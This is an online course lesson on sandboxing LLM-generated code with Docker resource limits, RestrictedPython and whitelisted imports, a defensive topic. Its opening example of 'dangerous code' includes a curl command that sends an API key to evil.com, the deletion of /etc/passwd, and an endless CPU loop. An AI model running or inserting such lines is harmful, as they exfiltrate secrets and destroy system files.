Sandboxing with Docker and RestrictedPython
Create isolated execution environments using Docker containers with resource limits, network isolation, and read-only filesystems to safely run untrusted LLM-generated code.
Sandboxing with Docker and RestrictedPython is a free AI Engineering Academy lesson on CoddyKit — lesson 2 of 4. You can read the complete lesson below for free — then practise it hands-on in the browser with a built-in code editor and a 24/7 AI tutor. It is part of the AI Engineering Academy learning path, one of 4 lessons in the course, and your progress syncs across the web and the CoddyKit app.
Why Code Sandboxing Is Non-Negotiable
LLM-generated code runs with the same permissions as the process that calls it. A careless or maliciously injected code snippet can delete files, read environment variables containing API keys, make network requests, exhaust RAM or CPU, or install backdoors. Sandboxing creates an isolated execution environment that limits what the generated code can do, making code execution agents safe enough to run in production.
# Example of dangerous code an LLM might generate
import os
import subprocess
# Without sandboxing, this runs with full host permissions:
os.remove('/etc/passwd') # deletes system file
subprocess.run(['curl', 'http://evil.com', '-d', os.environ['OPENAI_API_KEY']]) # exfiltrates secrets
while True: pass # exhausts CPU
# Sandboxing prevents ALL of thisDocker as a Sandbox
Docker containers are the most practical sandbox for LLM-generated code in production. Each code execution gets a fresh container built from a minimal image, with strict resource limits on CPU, memory, and time. The container has no access to the host filesystem (except an explicit workspace mount), and network access is disabled or restricted to a whitelist. When execution completes, the container is destroyed.
import docker
import tempfile
import os
client = docker.from_env()
def execute_in_docker(code: str, timeout=30) -> tuple[str, str]:
# Write code to temp file
with tempfile.NamedTemporaryFile(mode='w', suffix='.py', delete=False) as f:
f.write(code)
host_path = f.name
try:
container = client.containers.run(
image='python:3.11-slim', # minimal Python image
command=f'python /workspace/code.py',
volumes={host_path: {'bind': '/workspace/code.py', 'mode': 'ro'}},
mem_limit='256m', # max 256 MB RAM
cpu_period=100000,
cpu_quota=50000, # 50% of 1 CPU core
network_disabled=True, # no internet access
read_only=True, # read-only root filesystem
remove=True, # auto-delete container
timeout=timeout
)
return container.decode('utf-8'), ''
except docker.errors.ContainerError as e:
return '', e.stderr.decode('utf-8')
finally:
os.unlink(host_path)Resource Limits in Docker
Docker provides fine-grained resource controls for sandboxed containers. The key limits to set are: mem_limit to cap memory (e.g., 256m), cpu_quota to limit CPU time, pids_limit to prevent fork bombs, and a timeout to stop hanging code. Without these limits, a poorly written or malicious code snippet could crash the entire host machine by exhausting all available resources.
sandbox_config = {
'image': 'code-sandbox:latest',
'mem_limit': '256m', # 256 MB max RAM
'memswap_limit': '256m', # no swap (prevents RAM expansion via swap)
'cpu_quota': 50000, # 50% of a CPU core
'cpu_period': 100000,
'pids_limit': 64, # max 64 processes (prevents fork bombs)
'network_disabled': True, # no network
'read_only': True, # read-only root filesystem
'tmpfs': {'/tmp': ''}, # writable /tmp in memory only
'security_opt': ['no-new-privileges'], # prevent privilege escalation
'cap_drop': ['ALL'], # drop all Linux capabilities
'remove': True, # auto-remove after execution
}Building a Code Execution Image
Running code in a minimal python:3.11-slim image means no data science libraries are available. Build a custom sandbox image that pre-installs the packages your code agents commonly need (pandas, numpy, matplotlib, scikit-learn) so they do not need internet access to install packages at runtime. Pre-installing also speeds up execution significantly.
# Dockerfile for code sandbox
# FROM python:3.11-slim
#
# RUN pip install --no-cache-dir \
# pandas==2.1.0 \
# numpy==1.25.0 \
# matplotlib==3.7.0 \
# scikit-learn==1.3.0 \
# requests==2.31.0 \
# beautifulsoup4==4.12.0
#
# # Create non-root user for extra security
# RUN useradd -m sandbox
# USER sandbox
#
# WORKDIR /workspace
# Build: docker build -t code-sandbox:latest .
# The agent uses this image for every executionRestrictedPython for In-Process Sandboxing
RestrictedPython is a Python library that compiles code with security restrictions enforced at the AST level. It blocks dangerous built-ins (exec, eval, __import__), restricts attribute access, and prevents access to dunder methods. RestrictedPython runs in the same process (no Docker overhead), making it much faster, but it provides weaker isolation than Docker and is better suited for simple, low-risk code.
from RestrictedPython import compile_restricted, safe_globals, safe_builtins
from RestrictedPython.Guards import safe_iter_unpack_sequence, guarded_getitem
def execute_restricted(code: str) -> dict:
# Compile with restrictions
byte_code = compile_restricted(code, '<string>', 'exec')
# Define a restricted global namespace
restricted_globals = {
'__builtins__': safe_builtins, # no exec, eval, __import__, open
'_getiter_': iter,
'_getitem_': guarded_getitem,
'_iter_unpack_sequence_': safe_iter_unpack_sequence,
'print': print, # allow print
}
local_vars = {}
exec(byte_code, restricted_globals, local_vars)
return local_vars
# Test
try:
result = execute_restricted('x = 2 + 2\nprint(x)')
except Exception as e:
print('Blocked:', e)Comparing Docker vs RestrictedPython
The two sandboxing approaches have different trade-offs. Docker provides true OS-level isolation: each execution is a separate process with no shared state, and even a kernel exploit attempt is limited to the container. The downside is 0.5-2 second startup overhead per execution. RestrictedPython starts in milliseconds and requires no container infrastructure, but provides much weaker isolation and has known bypasses for sophisticated attackers.
# Decision guide
def choose_sandbox(requirements: dict) -> str:
if requirements.get('user_provided_code'): # untrusted third party code
return 'docker' # must use Docker for true isolation
if requirements.get('needs_filesystem_access'):
return 'docker' # Docker volumes are safer
if requirements.get('low_latency_critical'): # < 100ms per execution
return 'restrictedpython' # no container startup overhead
if requirements.get('llm_generated_internal_only'): # your own trusted agent
return 'restrictedpython' # acceptable risk, faster
return 'docker' # default to stronger isolation when in doubtWhitelisting Allowed Operations
Both Docker and RestrictedPython support whitelisting: explicitly allowing only the operations the code agent actually needs, rather than blocking everything dangerous. For example, allow pandas and numpy operations but block subprocess, socket, and os.system. Whitelisting is a more secure approach than blacklisting because you do not need to anticipate every possible attack vector.
from RestrictedPython import safe_builtins
import pandas as pd
import numpy as np
# Whitelist approach: only provide what agents should use
ALLOWED_MODULES = {
'pandas': pd,
'numpy': np,
# NOT allowed: subprocess, socket, os, sys, importlib
}
def make_restricted_globals():
builtins = dict(safe_builtins) # safe subset of Python builtins
builtins['__import__'] = make_guarded_import(ALLOWED_MODULES)
return {'__builtins__': builtins, **ALLOWED_MODULES}
def make_guarded_import(allowed: dict):
def guarded_import(name, *args, **kwargs):
if name not in allowed:
raise ImportError(f'Import of {name} is not allowed in sandbox')
return allowed[name]
return guarded_importPersistent Workspace Volumes
A code agent often needs to write intermediate files (a cleaned CSV, a generated chart) that the next code iteration can read. Use a workspace volume in Docker: a directory on the host that is mounted read-write into the container. Each container execution in the same session shares this volume, allowing the agent to build up a workspace of files across iterations while the root container filesystem remains read-only.
import os
import tempfile
class AgentWorkspace:
def __init__(self):
self.dir = tempfile.mkdtemp(prefix='agent_workspace_')
os.chmod(self.dir, 0o755)
print(f'Workspace created: {self.dir}')
def get_docker_mount(self):
return {self.dir: {'bind': '/workspace', 'mode': 'rw'}}
def list_files(self):
return os.listdir(self.dir)
def cleanup(self):
import shutil
shutil.rmtree(self.dir)
print('Workspace cleaned up')
# Usage across iterations
workspace = AgentWorkspace()
for i, code in enumerate(agent_generated_code_iterations):
volumes = workspace.get_docker_mount()
output, err = execute_in_docker(code, volumes=volumes)
# Code in iteration 2 can read files written by iteration 1Sandboxing in Cloud Environments
In production, you often want to run code sandboxes in the cloud rather than on your API server. Services like AWS Lambda (with restricted VPC), Google Cloud Run containers, or dedicated sandboxing services like E2B (e2b.dev) provide managed isolated execution environments. E2B specifically is designed for AI code agents, offering a fast-starting Python sandbox with a simple API.
# E2B managed sandbox (e2b.dev)
from e2b_code_interpreter import Sandbox
def execute_with_e2b(code: str) -> tuple[str, str]:
with Sandbox() as sandbox:
execution = sandbox.run_code(code)
stdout = '\n'.join(execution.logs.stdout)
stderr = '\n'.join(execution.logs.stderr)
return stdout, stderr
# E2B handles: sandboxing, resource limits, network isolation
# Each sandbox starts in ~100ms and auto-expires after the session
output, error = execute_with_e2b('import pandas as pd\ndf = pd.DataFrame({"a": [1,2,3]})\nprint(df)')Monitoring and Audit Logging
Even with sandboxing, log every code execution for security auditing. Record: the full code submitted for execution, the execution timestamp and duration, the agent session and user that triggered it, the stdout/stderr output, and any security violations attempted (blocked imports, resource limit hits). This audit trail is essential for investigating unexpected behavior and demonstrating compliance.
import time
import hashlib
def audited_execute(code: str, agent_id: str, session_id: str) -> dict:
code_hash = hashlib.sha256(code.encode()).hexdigest()[:16]
start = time.time()
stdout, stderr = execute_in_docker(code)
audit_record = {
'agent_id': agent_id,
'session_id': session_id,
'code_hash': code_hash,
'code_preview': code[:200], # first 200 chars
'start_time': start,
'duration_ms': (time.time() - start) * 1000,
'had_error': bool(stderr),
'output_length': len(stdout)
}
write_audit_log(audit_record)
return {'stdout': stdout, 'stderr': stderr, 'audit': audit_record}Defense in Depth for Code Agents
No single sandboxing mechanism is perfect. Apply defense in depth: combine Docker isolation with resource limits, use a non-root user inside the container, disable network access, use a read-only root filesystem with a tmpfs for /tmp, run the container in a separate low-privilege VM or cloud function, and monitor execution for anomalous resource usage. Multiple independent layers mean a bypass of one layer does not compromise the whole system.
Quick Check
Test your understanding of code execution sandboxing from this lesson.
Lesson Recap
In this lesson you learned: Docker sandboxing is the gold standard for safely running LLM-generated code, using container-level isolation, resource limits, and network restrictions, RestrictedPython is a faster but weaker in-process alternative suitable for low-risk internal agents, and defense in depth combines multiple layers of protection because no single mechanism is sufficient. Next up we cover state management across code execution steps.
Frequently asked questions
Is the “Sandboxing with Docker and RestrictedPython” lesson free?
Yes — the full text of “Sandboxing with Docker and RestrictedPython” is free to read here on the web, and the AI Engineering Academy course includes 4 lessons in total. To practise it interactively (a built-in code editor and a 24/7 AI tutor) and unlock the rest of the AI Engineering Academy course, upgrade to CoddyKit PRO.
What will I learn in “Sandboxing with Docker and RestrictedPython”?
Create isolated execution environments using Docker containers with resource limits, network isolation, and read-only filesystems to safely run untrusted LLM-generated code. You practise AI Engineering Academy with hands-on code you run directly in the browser, and a 24/7 AI tutor answers your questions as you work through the lesson.
Do I need any experience to start AI Engineering Academy?
No prior experience is required. AI Engineering Academy on CoddyKit is structured for beginners through advanced learners; this is — lesson 2 of 4, so you can start here or from the beginning and move at your own pace.
How long does the “Sandboxing with Docker and RestrictedPython” lesson take?
Most CoddyKit lessons take about 5–10 minutes. Each one is bite-sized and interactive, so you make steady progress and pick up exactly where you left off across the web and the app.
Can I write and run code in this AI Engineering Academy lesson?
Yes. Every AI Engineering Academy lesson includes a built-in code editor, so you write and run real code right in your browser and get instant AI feedback — no local setup required.
All lessons in this course
- The Code Execution Loop
- Sandboxing with Docker and RestrictedPython
- State Management Across Execution Steps
- Building a Data Analysis Agent